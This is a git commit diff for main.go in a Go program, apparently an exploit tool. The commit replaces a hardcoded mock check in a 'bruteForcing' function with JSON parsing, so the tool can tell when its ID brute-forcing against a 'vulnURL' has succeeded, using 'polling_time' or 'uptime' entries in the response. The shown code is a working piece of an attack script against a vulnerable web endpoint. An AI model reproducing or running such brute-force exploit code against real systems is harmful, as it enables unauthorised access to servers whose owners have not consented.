fixed mock value
This commit is contained in:
parent
abf78129f0
commit
6d4a830565
19
main.go
19
main.go
|
@ -1,6 +1,7 @@
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/json"
|
||||||
"flag"
|
"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
@ -100,16 +101,26 @@ func bruteForcing(vulnURL string) (bool, int, int) {
|
||||||
return false, 1, 1
|
return false, 1, 1
|
||||||
}
|
}
|
||||||
|
|
||||||
if buf.String() != "[]" {
|
// perse the json response
|
||||||
rrdName := "asdf"
|
var jsonResponse []map[string]interface{}
|
||||||
if rrdName == "polling_time" || rrdName == "uptime" {
|
err = json.Unmarshal([]byte(buf.String()), &jsonResponse)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("Error unmarshalling JSON:", err)
|
||||||
|
return false, 1, 1
|
||||||
|
}
|
||||||
|
|
||||||
|
// the response must have at least one item
|
||||||
|
if len(jsonResponse) > 0 {
|
||||||
|
// first item, and the rrd_name field
|
||||||
|
rrdName, exists := jsonResponse[0]["rrd_name"].(string)
|
||||||
|
if exists && (rrdName == "polling_time" || rrdName == "uptime") {
|
||||||
fmt.Println("Bruteforce Success")
|
fmt.Println("Bruteforce Success")
|
||||||
return true, n, n2
|
return true, n, n2
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fmt.Println("Unknown error occured")
|
fmt.Println("Unknown error occurred")
|
||||||
return false, 1, 1
|
return false, 1, 1
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue